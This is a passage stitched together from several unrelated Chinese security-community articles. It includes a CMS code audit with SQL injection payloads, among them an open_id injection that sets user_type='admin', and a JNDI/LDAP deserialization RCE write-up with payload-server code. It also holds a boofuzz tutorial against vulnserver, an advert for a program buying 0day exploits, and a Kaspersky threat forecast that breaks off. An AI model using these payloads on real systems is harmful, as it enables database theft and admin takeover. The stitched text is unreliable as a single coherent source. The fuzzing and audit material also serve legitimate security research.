在代码32行，判断`$fb_nick`是否为空，`$fb_email`进行了邮箱验证,可跟进一下验证部分，看看是否存在绕过，代码44行，判断`$fb_content`是否为空然后进行长度判断，不能小于20字符，然后将数据进行了insert操作，猜测存在sql注入漏洞。
##### 漏洞验证
在传入参数位置下断点，跟进$Db->insert方法：
从执行的sql语句观察到单引号未过滤，证明SQL注入存在。
##### 漏洞利用：
该cms屏蔽了报错信息，且插入的内容需要管理员才能查看，利用有限，大佬们有啥思路可交流一下。
数据库执行语句如下：
INSERT INTO `yk365_feedback` (`fb_nick`,`fb_email`,`fb_content`,`fb_date`)
VALUES
('123','[email protected]','1231231231223123123123123123122222222222222222222222222222222222222222222222222222','1534056939')
如未屏蔽数据库报错信息，可采用以下payload进行报错注入：
`fb_nick` = 123','123','123' or extractvalue(1,concat(0x7e,database()))) #
在数据库执行语句后，可报错得到数据内容。
INSERT INTO yk365_feedback (fb_nick,fb_email,fb_content,fb_date) VALUES
('123','123','123' or
extractvalue(1,concat(0x7e,database())))#,'[email protected]','1231231231223123123123123123122222222222222222222222222222222222222222222222222222','1534056939')
#### SQL注入2
##### 漏洞分析
\member\controller\article.php
感觉他少打了一个post，$art_content使用addslashes函数过滤，cate_id参数转换为int，无法利用，可利用参数`$art_title`,`$copy_from`,`$copy_url`，继续往下跟踪代码：
代码105行，对`$art_title`进行了过滤，跟进censor_words函数：
先判断`$keywords`和`$content`是否为空，如果为空，直接返回true，不为空，则将`$keywords`中的内容以','作为分割符，存储到变量$wordarr中，然后在$content中进行正则匹配，如果存在关键字中的内容，则返回false。发现keywords部分内容与安全过滤无关，所以`$art_title`变量也可以利用。继续往下跟代码：
这`$copy_from`,`$copy_url`没任何处理，然后直接进行了insert操作，猜测存在SQL注入漏洞，该测试需要注册账号。
##### 漏洞验证
在会员中心进行文章添加时，一直报错，动态调试发现在代码96行，对$cate_id进行了判断，采用burp抓包发现，该参数为出现在请求参数中，于是在burp中添加了该参数。然后发送请求。
在标题字段输入`art_title=121' or sleep(5)#` 后页面 延迟返回，证明SQL注入存在。下面insert也存在注入，不测试了。
##### 漏洞利用
将burp抓包内容放入txt文档，执行 sqlmap.py -r 6.txt --dbms=mysql
#### SQL注入3
##### 漏洞分析
/member/controller/login.php
`$nick_name`转义无法利用，`$pass`，`$open_id`可利用，接下来，通过用户名查询到密码，并与输入密码的MD5值进行比较。由此`$pass`变量我们也无法利用。继续往下：
程序一直未对`$open_id`变量进行处理，直接传入到了update函数，猜测存在SQL注入漏洞。
##### 漏洞验证
使用burp抓包并手动加上open_id参数，进入update函数，发现执行的SQL语句中，单引号未过滤，证明SQL注入存在。
##### 漏洞利用
$strSql = "UPDATE `$table` SET $strSql WHERE $where";
`$strSql
=`login_time`='1534054455',`login_ip`='2130706433',`login_count`='11',`open_id`='123''`
在yk365_users表`user_type`字段中，标识了该用户的身份，如果能够更改该值，则可获取到管理员权限。
于是尝试构造 open_id = 123',user_type='admin'# , user_type字段更改成功，并能通过该账户进入管理员后台。
### 结语
在seebug上看到该cms
1.0.7版本存在SQL注入，抱着玩的心态下载了最新版。如果该CMS全局默认使用addslashes函数进行转义，就没SQL注入了。开发人员对htmlspecialchars函数的使用不正确，导致了众多SQL注入点出现，还有可以利用的地方。感兴趣的可以下载玩玩。审计新手，有问题大家多交流。后面还有一篇getshell，中间踩了很多坑，想单独写一篇。 | 社区文章 |
# JNDI with LDAP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
JNDI的SPI层除了RMI外，还可以跟LDAP交互。与RMI类似，LDAP也能同样返回一个Reference给JNDI的Naming
Manager，本文将讲述JNDI使用ldap协议的两个攻击面XD
## 0x01 LDAP基础
关于LDAP的介绍，延伸阅读一下[这篇](https://www.cnblogs.com/wilburxu/p/9174353.html)
> LDAP can be used to store Java objects by using several special Java
> attributes. There are at least two ways a Java object can be represented in
> an LDAP directory:
>
> ● Using Java serialization
> o
> <https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html>
> ● Using JNDI References
> o
> <https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html>
>
> from <https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-> From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf>
Java中的LDAP可以在属性值中存储相关的Java对象，可以存储如上两种对象，而相关的问题就是出现在这部分上。
后文用的LDAP Server参考的是[mbechler
实现的LDAPRefServer](https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java)，连接的客户端Client直接用JNDI的lookup完成，jdk版本jdk8u162
Context ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/EvilObj");
ctx.close();
## 0x02 LDAP with JDNI References
JNDI发起ldap的lookup后，将有如下的调用流程，这里我们直接来关注，获得远程LDAP Server的Entry之后，Client这边是怎么做处理的
跟进com/sun/jndi/ldap/Obj.java#decodeObject，按照该函数的注释来看，其主要功能是解码从LDAP
Server来的对象，该对象可能是序列化的对象，也可能是一个Reference对象。关于序列化对象的处理，我们看后面一节。这里摘取了Reference的处理方式：
static Object decodeObject(Attributes attrs)
throws NamingException {
Attribute attr;
// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
// ...
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);// "objectClass"
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) || // "javaNamingReference"
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) { // "javanamingreference"
return decodeReference(attrs, codebases);
}
//...
如果LDAP
Server返回的属性里包括了`objectClass`和`javaNamingReference`，将进入Reference的处理函数decodeReference上
if ((attr = attrs.get(JAVA_ATTRIBUTES[CLASSNAME])) != null) {
className = (String)attr.get();
} else {
throw new InvalidAttributesException(JAVA_ATTRIBUTES[CLASSNAME] +
" attribute is required");
}
if ((attr = attrs.get(JAVA_ATTRIBUTES[FACTORY])) != null) {
factory = (String)attr.get();
}
Reference ref = new Reference(className, factory,
(codebases != null? codebases[0] : null));
decodeReference再从属性中提取出`javaClassName`和`javaFactory`，最后将生成一个Reference。这里如果看过我前面的那篇[jndi-with-rmi](http://blog.0kami.cn/2020/02/09/jndi-with-rmi/)，可以看到其实这里生成的ref就是我们在RMI返回的那个ReferenceWrapper，后面这个ref将会传递给Naming
Manager去处理，包括从codebase中获取class文件并载入。
而这里LDAP也类似，处理ref的对象是NamingManager的子类javax/naming/spi/DirectoryManager.java，因为跟RMI有点类似不具体分析了，最后同样由javax/naming/spi/NamingManager.java#getObjectFactoryFromReference来处理。
到这里，我们再来看mbechler 实现的LDAPRefServer就比较清楚了
当其获取到LDAP连接时，将填充如上的几个属性及其对应的值，就是为了满足上面的条件而生成一个Reference对象。
## 0x03 LDAP with Serialized Object
JNDI对于属性中的序列化数据的处理一共有两个地方，我们先来顺着前面的JNDI Reference的思路说下去
#### 第一处：com/sun/jndi/ldap/Obj.java#decodeObject
在com/sun/jndi/ldap/Obj.java#decodeObject上还存在一个判断
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {// “javaSerializedData”
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
}
如果在返回的属性中存在`javaSerializedData`，将继续调用`deserializeObject`函数，该函数主要就是调用常规的反序列化方式readObject对序列化数据进行还原，如下payload。
@Override
protected void processAttribute(Entry entry){
entry.addAttribute("javaClassName", "foo");
entry.addAttribute("javaSerializedData", serialized);
}
这里我们就不需要通过远程codebase的方式来达成RCE，当然首先本地环境上需要有反序列化利用链所依赖的库文件。
#### 第二处：com/sun/jndi/ldap/Obj.java#decodeReference
`decodeReference`函数在对普通的Reference还原的基础上，还可以进一步对RefAddress做还原处理，其中还原过程中，也调用了`deserializeObject`函数，这意味着我们通过满足RefAddress的方式，也可以达到上面第一种的效果。
具体代码太长了，这里我就说一下条件：
1. 1.第一个字符为分隔符
2. 2.第一个分隔符与第二个分隔符之间，表示Reference的position，为int类型
3. 3.第二个分隔符与第三个分隔符之间，表示type，类型
4. 4.第三个分隔符是双分隔符的形式，则进入反序列化的操作
5. 5.序列化数据用base64编码
满足上面的条件，构造一个类似的
protected void processAttribute(Entry entry){
entry.addAttribute("javaClassName", "foo");
entry.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(serialized));
entry.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
}
当然第二处只是一个锦上添花的步骤，我们可以直接用第一种方法，第二种在第一种不能用的情况下可以试试。
## 0x04 后续
自[jdk8u191-b02](http://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/rev/2db6890a9567#l1.33)版本后，新添加了`com.sun.jndi.ldap.object.trustURLCodebase`默认为false的限制，也就意味着远程codebase的Reference方式被限制死了，我们只能通过SerializedData的方法来达成利用。
我们来整理一下，关于jndi的相关安全更新
1.JDK 6u132, JDK 7u122, JDK
8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false。
**导致jndi的rmi reference方式失效，但ldap的reference方式仍然可行**
2.Oracle JDK 11.0.1、8u191、7u201、6u211之后
`com.sun.jndi.ldap.object.trustURLCodebase`属性的默认值被调整为false。
**导致jndi的ldap reference方式失效，到这里为止，远程codebase的方式基本失效，除非人为设为true**
而在最新版的jdk8u上，jndi
ldap的本地反序列化利用链[1](http://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/file/b959971e0a5a/src/share/classes/com/sun/jndi/ldap/Obj.java#l239)和[2](http://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/file/b959971e0a5a/src/share/classes/com/sun/jndi/ldap/Obj.java#l478)的方式仍然未失效，jndi
rmi底层(JRMPListener)[StreamRemoteCall](http://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/file/b959971e0a5a/src/share/classes/sun/rmi/transport/StreamRemoteCall.java#l270)的本地利用方式仍未失效。
所以如果Reference的方式不行的时候，可以试试利用本地ClassPath里的反序列化利用链来达成RCE。
## 0x05 总结
JNDI和LDAP的结合，出现了2种利用方式，一是利用远程codebase的方式，二是利用本地ClassPath里的反序列化利用链。在最新版的jdk8u中，codebase的方式依赖`com.sun.jndi.ldap.object.trustURLCodebase`的值，而第二种方式仍未失效。
LDAP的使用方法除了JNDI的lookup，其他的库也会有相应的使用方法，如Spring的ldap，这里还可以继续深入下去，先挖个坑XD
最后，上面的两个ldap Server更新到了[github](https://github.com/wh1t3p1g/ysomap)上，自取XD | 社区文章 |
### 简介
Boofuzz是Sulley模糊测试框架的一个分支和继承者。除了修复了许多错误，boofuzz还提升了可扩展性。主要特性有以下几点：
* 轻松快速的数据生成方式;
* 仪表板支持AKA故障检测;
* 失败后的目标重置;
* 记录测试数据;
* 在线文档;
* 支持任意通信媒介;
* 内置支持串行模糊测试、以太网、IP层和UDP广播;
* 更好地记录测试数据——统一、彻底、清晰;
* 测试结果通过CSV导出;
* 可扩展的仪器/故障检测;
* 方便的安装体验;
### Install
ubuntu；基于python2.x
sudo apt-get install python-pip
git clone https://github.com/jtpereyda/boofuzz.git
cd boofuzz
sudo pip install .
windows：
git clone https://github.com/jtpereyda/boofuzz.git
pip install .
### 模块分析
#### Session
pre_send() 发送数据后开始遍历Pgraph结构，并沿途fuzz每个组件。这个例子以'helo' requet开头，一旦完成，将开始fuzz
“maiL from” request。它通过在每个测试用例前面加上有效的“helo” request来实现。 接下来，将继续fuzz 'rcpt to’
request。同样，这是通过在每个测试用例前面加上有效的“helo”和“mail from” request来实现的。等到该过程一直到”data”
request完成后,又转回到从”ehlo”开始。通过构建的Pgraph将协议分解为单个请求，并fuzz所有可能路径，使其fuzz能力十分的强大。
每个节点都连接起来，组成一幅有状态的图，我们可以在图里的每个节点进行操作，同时也可以定义一些callback回调函数，以实现诸如质询响应系统之类的功能，回调方法必须遵循以下原型：
def callback(target, fuzz_data_logger, session, node, edge, *args, **kwargs)
'fuzz_data_logger'记录测试检查和通过/失败
'session'是一个指向会话实例的指针，它对于阻塞例如session.last_recv的数据很有用
'node'是要发送的节点
'edge'是当前fuzz到node的最后一条路径
我们每次创建测试脚本的时候都会使用Session，session.connect() 用来声明连接，session.fuzz()
发送负载，以及定义会话回调和选择的协议进行交互，例如
session = Session(
target=Target(
connection=SocketConnection("127.0.0.1", 21, proto='tcp')))
session.connect(s_get("xxx"))
session.fuzz()
#### Static Protocol Definition
Request是信息，Blocks是消息中的块，而Primitives是构成块/请求的元素（字节，字符串，数字，校验和等）。
Block和Group是Boofuzz从Sulley继承而来的强大工具。Blocks将独立的primitives组建成有序的块。Groups
中包含了一些特定的primitives，一个Group和一个Block结合后，每次fuzzer调用Block的时候，都会将Group中的数据循环的取出，组成不同的Block。
Group允许你连接一个块到指定的group原语，和一个组关联的block必须为每一个组中的值循环穷尽该block的所有空间，例如，在表示一个有效的opcode列表或一些有相同参数的行为时，组原语是非常有用的，s_group定义一个组，并接受两个必须的参数，第一个参数指定组名称，第二个参数指定一个需要迭代的原始值列表。
例如下面官方给出的http.py中的代码
s_initialize("HTTP VERBS")
s_group("verbs", values=["GET", "HEAD", "POST", "TRACE", "PUT", "DELETE"])
if s_block_start("body", group="verbs"):
s_delim(" ")
s_delim("/")
s_string("index.html ")
s_delim(" ")
s_string("HTTP")
s_delim("/")
s_string("1")
s_delim(".")
s_string("1")
s_block_end()
模块常用语法
s_initialize（'grammar'）＃初始化块请求并命名
s_static（"HELLO\r\n"）＃始终发送此信息
s_static（"PROCESS"）＃在HELLO\r\n之后立即发送
s_delim（""）# 使用s_delim()原语代替分割符
s_string（"AAAA"）＃ 这是我们的fuzz字符串
s_static（"\r\n"）＃ 告诉服务器“done”
#### Connections
target = sessions.target("10.0.0.1", 5168)
target.netmon = pedrpc.client("10.0.0.1", 26001)
target.procmon = pedrpc.client("10.0.0.1", 26002)
target.vmcontrol = pedrpc.client("127.0.0.1", 26003)
target.procmon_options = \
{
"proc_name" : "SpntSvc.exe",
"stop_commands" : ['net stop "trend serverprotect"'],
"start_commands" : ['net start "trend serverprotect"'],
}
sess.add_target(target)
sess.fuzz()
首先是定义目标，加入会话
下面的netmon（网络监控代理） 、procmon（进程监控代理）、vmcontrol（VMware控制代理）为3个agent的子模块，用来监测程序
* netmon子模块：netmon子模块主要负责捕捉网络的双向流量，并保存。 在向target发送数据之前，agent向target发送请求并记录流量，数据传送成功后，该代理子模块将记录的流量存入磁盘。
* procmon子模块：procmon子模块主要负责检测fuzz过程中发生的故障。 在向target发送数据之后，boofuzz联系该代理以确定是否触发了故障，如果产生故障，关于故障性质的hgih level信息将被传送回session。错误信息会储存在名为"crash bin"的文件中，我们也可以在web监控服务中看到发生crash时加载详细的crash信息。
* vmcontrol子模块：vmcontrol子模块主要用来控制虚拟机。一种常见的用法是把Target目标放在虚拟机中，使用这个子模块来控制虚拟机的启动、关闭、创建快照等，最重要的功能是能在目标出现崩溃的时候恢复主机的状态。
下面简单介绍一下请求样例：
session.connect(s_get("user"))
session.connect(s_get("user"), s_get("pass"))
session.connect(s_get("pass"), s_get("stor"))
session.connect(s_get("pass"), s_get("retr"))
连接后，我们首先发送用户名请求
在发送用户名后，我们发送密码
只有在发送密码后我们才能发送stor或retr请求
### Fuzzing Vulnserver
#### vulnserver
Vulnserver是一个多线程的基于Windows的TCP服务器，它侦听端口9999上的客户端连接（默认情况下），并允许用户运行许多不同的命令，这些命令容易受到各种类型的可利用缓冲区溢出的攻击。它在github的地址为<https://github.com/stephenbradshaw/vulnserver>
我们启动vulnserver
我们使用nc命令，连接服务端9999端口即可。发出HELP命令（区分大小写），查看程序有哪些功能
#### Fuzzing
from boofuzz import *
def main():
port = 9999
host = '10.211.55.17'
protocol = 'tcp'
session = Session(
target=Target(
connection = SocketConnection(host, port, proto=protocol),
),
)
s_initialize("trun")
s_string("TRUN", fuzzable=False)
s_delim(" ", fuzzable=False)
s_string("FUZZ")
s_static("\r\n")
session.connect(s_get("trun"))
session.fuzz()
if __name__ == "__main__":
main()
首先，我们先设置请求，然后定义命令的名称，空格分隔符和参数，最后发送请求，开始fuzz
在fuzz的时候我们可以打开[http://127.0.0.1:26000](http://127.0.0.1:26000/)
上的Web界面中观察fuzz测试进度。这是一个boofuzz内部Web服务器，向我们显示fuzz过程完整性和导致崩溃的输入文件。
我们可以看到程序已经崩溃，但是fuzz的脚本依然在运行，而且无法精确定位漏洞
这时候我们增加一个回调函数
session.connect(s_get("trun"), callback=get_banner)
def get_banner(target, my_logger, session, *args, **kwargs):
banner_template = "Welcome to Vulnerable Server! Enter HELP for help."
try:
banner = target.recv(10000)
except:
print "Unable to connect. Target is down. Exiting."
exit(1)
my_logger.log_check('Receiving banner..')
if banner_template in banner:
my_logger.log_pass('banner received')
else:
my_logger.log_fail('No banner received')
print "No banner received, exiting.."
exit(1)
banner在每次fuzz接收后尝试接收字符串，接收不到报异常"Unable to connect. Target is down.
Exiting."，如果接收到的字符能够与正常交互的字符串匹配上，我们记录下然后返回fuzz继续测试，如果不匹配程序结束
我们可以看出，在程序崩溃后，fuzz停止，接下来我们尝试记录程序崩溃，并找到原因
我们先增加日志记录，首先我们创建一个csv文件，然后创建一个my_logger对象，调用FuzzloggerCsv()函数，Fuzz_loggers记录测试数据和结果
csv_log = open('fuzz_results.csv', 'wb')
my_logger = [FuzzLoggerCsv(file_handle=csv_log)]
fuzz_loggers=my_logger,
我们首先在端口26002上侦听本地主机的进程，监视应用程序，然后设置选项，我们把程序和process_monitor.py放在同一目录下
需要注意的是process_monitor.py仅限于在windows使用（为Unix提供process_monitor_unix.py），而且需要安装pydasm和pydbg
procmon=pedrpc.Client(host, 26002),
procmon_options = {
"proc_name" : "vulnserver.exe",
"stop_commands" : ['wmic process where (name="vulnserver") delete'],
"start_commands" : ['vulnserver.exe'],
}
我们运行起来process_monitor.py和fuzz脚本，我们发现EIP被41414141覆盖，并发生崩溃
我们查看一下fuzz_result.csv文件，如果我们使用sulley我们需要找到存储流量的PCAP文件
，并定位payload，而我们使用boofuzz直接查看csv文件就可以
我们可以清晰的看到payload，我们可以用于复现和利用
下面是完整的fuzz代码：
from boofuzz import *
from sys import exit
def get_banner(target, my_logger, session, *args, **kwargs):
banner_template = "Welcome to Vulnerable Server! Enter HELP for help."
try:
banner = target.recv(10000)
except:
print "Unable to connect. Target is down. Exiting."
exit(1)
my_logger.log_check('Receiving banner..')
if banner_template in banner:
my_logger.log_pass('banner received')
else:
my_logger.log_fail('No banner received')
print "No banner received, exiting.."
exit(1)
def main():
port = 9999
host = '127.0.0.1'
protocol = 'tcp'
s_initialize("Vulnserver")
s_group("verbs", values=["TRUN", "GMON", "KSTET"])
if s_block_start("test", group="verbs"):
s_delim(" ")
s_string("AAA")
s_string("\r\n")
s_block_end("test")
csv_log = open('fuzz_results.csv', 'wb')
my_logger = [FuzzLoggerCsv(file_handle=csv_log)]
session = Session(
target=Target(
connection = SocketConnection(host, port, proto=protocol),
procmon=pedrpc.Client(host, 26002),
procmon_options = {
"proc_name" : "vulnserver.exe",
"stop_commands" : ['wmic process where (name="vulnserver") delete'],
"start_commands" : ['vulnserver.exe'],
}
),
fuzz_loggers=my_logger,
crash_threshold_element= 1,# Crash how much times until stop
)
session.connect(s_get("Vulnserver"), callback=get_banner)
session.fuzz()
if __name__ == "__main__":
main()
### 最后
本文主要是利用boofuzz发现Vulnserver的漏洞，至于利用部分可以参考<http://www.thegreycorner.com/p/vulnserver.html>
### 参考文章
<https://blog.csdn.net/u012397189/article/details/79758931>
<https://xz.aliyun.com/t/2575>
<https://zeroaptitude.com/zerodetail/fuzzing-with-boofuzz/>
<<http://yunpiao.pub/2017/05/08/%E5%AE%89%E5%85%A8/%E4%BD%BF%E7%94%A8sulley%20%E8%BF%9B%E8%A1%8Cfuzzing/> | 社区文章 |
**作者：404实验室
时间：2021年1月22日**
相传远古时代，天柱倾倒，天塌地陷，百姓深受猛禽恶兽残害。为拯救百姓于水深火热之中，女娲炼彩石、斩鳖足、修补苍天、重立四极天柱。故天地得以平整，人类得以安居。此后，世人便将女娲奉为补天救世的英雌和开世造物的“大地之母”！
在网络安全世界中，安全漏洞就如同猛禽恶兽，威胁着个人、集体乃至国家的利益。在此背景下， **“女娲计划”** 于2019年11月应运而生!
作为国内第一个对标国外著名漏洞平台的漏洞收取平台，“女娲计划”脱离Seebug独立运营！
**"女娲计划"**
是针对超高价值的0day漏洞及利用技术研究奖励计划，对包括主流PC及移动操作系统、流行服务端或客户端软件应用、网络设备、虚拟系统逃逸等在内的0day安全漏洞及相关利用技术研究项目提供丰厚的奖金，且最高单个漏洞奖励可达￥20,000,000！
截至2021年1月， **"女娲计划"** 的收录范围已覆盖了271种产品和厂商；截至今日，"女娲计划"已发出的漏洞奖金累计近千万~
目前， **“女娲计划”** 已更新2.0版本，添加了大量的Web应用及厂商，在之前的基础上达到了优化升级，为大家提供更好的参与体验~
项目地址：<https://nvwa.org/>
# 女娲计划更新收录范围
今天，女娲计划再次更新了收录范围，添加了92个常见的厂商以及产品，快来看看你有没有0day吧~~
目标 | 类型 | 最高奖金
---|---|---
ActiveMQ | RCE | 50,000
anymacro安宁邮箱 | RCE /AUL | 500,000
Apache Shiro | RCE | 100,000
Apache Spark | RCE | 20,000
Apache Struts2 | RCE | 500,000
Apereo CAS | RCE /AUL | 100,000
Atlassian Jira | RCE | 300,000
Cacti | RCE | 20,000
Citrix | RCE | 350,000
CISCO SSL VPN | RCE /AUL | 500,000
CISCO firewall | RCE | 500,000
Confluence | RCE /AUL | 300,000
Coremail | RCE /AUL | 500,000
Dedecms | RCE | 50,000
Discuz | RCE | 50,000
easysite | RCE | 30,000
ECShop | RCE | 20,000
EmpireCMS | RCE | 20,000
F5 BIG-IP | RCE | 500,000
Fastjson | RCE | 500,000
Fortinet(飞塔) Firewall | RCE | 50,000
Gitea | RCE | 50,000
Gitlab | RCE | 50,000
Hadoop | RCE | 50,000
Harbor | RCE | 20,000
Jboss | RCE | 500,000
Jenkins | RCE | 50,000
jetty | RCE | 300,000
kxmail | RCE /AUL | 50,000
JFinal | RCE | 20,000
Laravel | RCE | 20,000
MetInfo | RCE | 10,000
Microsoft SharePoint | RCE | 200,000
ModSecurity | RCE | 20,000
Nexus | RCE | 20,000
outlook | RCE /AUL | 1,500,000
Phpcms | RCE | 50,000
Phpmyadmin | RCE | 100,000
Pulse Secure VPN | RCE /AUL | 500,000
redmine | RCE | 150,000
resin | RCE | 100,000
richmail(thinkmail） | RCE /AUL | 100,000
SaltStack | RCE | 20,000
SiteServer | RCE | 20,000
Spring Boot | RCE | 500,000
Spring Security Oauth | RCE | 50,000
Thinkphp | RCE | 500,000
turbomail | RCE /AUL | 20,000
VMware vCenter | RCE | 100,000
Weblogic | RCE | 350,000
Webmin | RCE | 50,000
websphere | RCE | 300,000
winmail | RCE /AUL | 350,000
XAMPP | RCE | 20,000
Zabbix | RCE | 500,000
Zimbra | RCE /AUL | 150,000
时代亿信邮箱 | RCE /AUL | 200,000
微擎 | RCE | 10,000
禅知 | RCE | 20,000
宝塔 | RCE | 20,000
禅道/zentao | RCE | 50,000
致远oa | RCE /AUL | 50,000
用友 | RCE /AUL | 50,000
通达oa | RCE /AUL | 20,000
帕拉迪堡垒机 | RCE /AUL | 50,000
齐治堡垒机 | RCE /AUL | 100,000
大汉cms | RCE | 20,000
泛微 | RCE /AUL | 50,000
金蝶 | RCE | 50,000
万户ezoffice | RCE | 20,000
拓尔思 TRSWAS | RCE | 20,000
亿邮 | RCE /AUL | 50,000
税友 | RCE | 50,000
jeecms | RCE | 20,000
JeeSite | RCE | 10,000
jackson | RCE | 500,000
蓝凌oa | RCE /AUL | 50,000
express | RCE | 50,000
ADC | RCE | 20,000
TPlink | RCE | 50,000
dlink | RCE | 50,000
锐捷 | RCE | 50,000
爱快流控路由 | RCE | 50,000
HanSight Enterprise | RCE | 50,000
日志易 | RCE | 50,000
堡垒机 | RCE /AUL | 50,000
jumpserver | RCE /AUL | 50,000
phpStudy | RCE | 20,000
TeamViewer | RCE | 50,000
向日葵 | RCE | 50,000
FusionAccess | RCE | 50,000
常用安防类产品（防火墙、VPN、IDS、IPS、主机安全、终端安全等） | RCE | 50,000
ps: ALL:RCE + LPE;RCE(Remote Code Execution):远程代码执行;LPE(Local Privilege
Escalation):本地权限提升;SBX(Sandbox Escape Bypass):沙盒逃逸绕过;VME(Virtual Machine
Escape):虚拟机逃逸;FCWP(Full Chain (Zero-Click) with Persistence):完整的利用链;AUL:任意用户登录
# 常见问题
1.邮箱
请使用您的常用邮箱，在漏洞确认期间，我们会通过邮件和您联系。
2.漏洞接收范围？
我们重点主要关注"女娲计划"给出的目标范围内的相关0day漏洞，目标范围相关的漏洞收取会定期更新，请随时关注目标列表。
您的漏洞在我们给出的目标范围之外，如果漏洞影响大并且严重，也可能成为我们的接收目标，可直接提交，我们评估后联系回复您。
3.我能得到多少漏洞奖金？
在您提交漏洞简介时会一并提交漏洞自评价格，我们会根据您提交的漏洞信息评估您的漏洞价值并和您联系议价。只有在议价得到双方认可之后，流程才会进入到下一步。
在接收到漏洞样本详情之后，如果我们发现与您之前的描述不符，我们会根据您提及的漏洞细节进行二次议价。
4.我需要提交什么样的漏洞简介？
在流程开始阶段，请参考"漏洞提交"表单信息提交，到确定漏洞议价完成后需要提交漏洞详情说明及完整可靠的exploit。
5.在提交漏洞之后，我什么时候能拿到奖金？
在提交完整漏洞说明及exploit后，经过平台确认完整可靠后我们将根据最终议价结果发放奖金。奖金将在3个月内完成分期支付。
最终确定漏洞后1周内支付完成50%奖金，其余50%奖金作为保证金最终在漏洞确认后3个月内完成100%支付。
漏洞提交者应该为漏洞相关信息及程序保密，如果是由于漏洞提交者原因出现泄密情况我们会根据对应具体情况进行扣除或者取消奖励。
6."要求"内的交互相关要求（如"零交互"）是什么意思？
交互相关要求是指攻击场景之外的其他任何交互动作，比如打开office打开文档或者浏览器打开链接、移动im等应用打开链接都算是"攻击场景"，不属于"交互要求"范围内。
7.在沟通过程中，如果需要发送我认为敏感的信息怎么办？
在沟通过程中，如果你担心你发送的信息涉及到敏感信息，请使用我们的公开PGP密钥加密。
8.如果我有问题想要咨询怎么办？
如果有任何问题，请发送邮件到
root#nvwa.org。值得注意的是，这个邮箱不会沟通任何于实际漏洞相关的信息，当你提交表单之后，请于联系你的邮箱进行进一步沟通。
# 抽奖活动
奖品为：1个国行Switch+10个定制机械键盘~
详情请转至微信公众号@ **Seebug漏洞平台** 推文《以梦为马 莫负韶华—404年终总结女娲计划篇》中查看！！！
* * * | 社区文章 |
# 卡巴斯基2018年网络威胁形势预测
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 更多的供应链攻击
卡巴斯基实验室的全球研究和分析团队跟踪了100多个APT组织及其活动。这些组织发起的攻击活动异常复杂，令人难以置信，而且拥有丰富的武器资源，包括0day漏洞、fileless攻击工具等，攻击者还会结合传统的黑客攻击动用更复杂的人力资源来完成数据的窃取任务。在APT攻击活动的研究过程中，经常可以看到，高级威胁行为者为了尝试突破某一目标可以花费很长一段时间，即使屡屡失败也会继续变换方式或途径继续尝试突破，即使攻击目标的安全防护体系非常完善、员工受过良好的安全教育不易成为社会工程学的受害者，或者目标遵循诸如澳大利亚DSD
TOP35之类的防御APT攻击的缓解策略。一般来说，一个能被称为APT攻击的组织的威胁行动者是不会轻易放弃的，他们会继续寻找防守的突破口，直至找到合适的入侵方法或途径。
当针对目标的所有尝试都失败时，攻击者可能会后退一步，重新评估形势。在重新评估的过程中，威胁行为者可能会认定利用供应链攻击比直接攻击目标更有效。即使目标使用了世界上最好的网络防御措施，也同样可能会使用第三方软件。那么攻击第三方可能是一种更为简易的途径，尤其是在原始目标采用了较完善的防护措施的情况下。
2017年，已经出现了几例供应链攻击的事件，包括但不限于：
* **Shadowpad**
* **CCleaner**
* **Expetr / NotPetya**
供应链攻击可能是极难识别或缓解的。例如，在Shadowpad的案例中，攻击者成功地将后门程序植入到NetSarang
的软件套件中，使用了合法的NetSarang凭据签署的恶意程式得以广泛地传播到世界各地，尤其是银行、大型企业和其他垂直行业。在此类攻击中，用户很难察觉到干净的程序包和携带恶意代码的程序包的差异。
根据安全社区的估计，在CCleaner的案例中，超过200万台计算机受到感染，堪称是2017年度最大的供应链攻击。分析CCleaner的恶意代码，关联到了另外的几个APT组织“Axiom
umbrella”（即APT17）惯用的后门程序。CCleaner事件也充分证明了APT组织为了完成其目标，宁愿拉长战线。
综上所述，我们认为，目前供应链攻击的数量可能比我们察觉到的要多得多，只不过还没有被注意到或暴露出来。2018年，无论是从发现的关键点还是从实际的攻击点，预计将会看到更多的供应链攻击。专业化木马软件，进而对特定行业或垂直领域的目标进行攻击，将成为一种与水坑攻击类似的战略性选择。
## 更多的高端的移动端恶意软件
2016年8月，
CitizenLab（加拿大多伦多大学蒙克全球事务学院下属的公民实验室）和Lookout（美国加州旧金山的一家移动安全公司）发表了他们对一个复杂的移动间谍平台Pegasus的研究报告，Pegasus是一款所谓的“合法的拦截”软件套件，专门被售卖给政府机构或其他实体，这款间谍软件与以色列的安全公司NSO
Group（于2014年被美国私人股本公司Francisco
Partners收购）有关，Pegasus结合了多个0day漏洞，能够远程绕过现代移动操作系统的安全防御，甚至能够攻破一向以安全著称的iOS系统。2017年4月，谷歌公布了其对Pegasus间谍软件的安卓版Chrysaor的分析报告。除了上述两款移动端间谍软件之外，还有许多其他的APT组都开发了自定义的移动端植入恶意软件。
由于iOS的封闭性，用户有较少的可能性会检查到他们的手机是否被感染了，因此，尽管Android平台更脆弱，但Android环境下对恶意软件的检测也更容易一些。
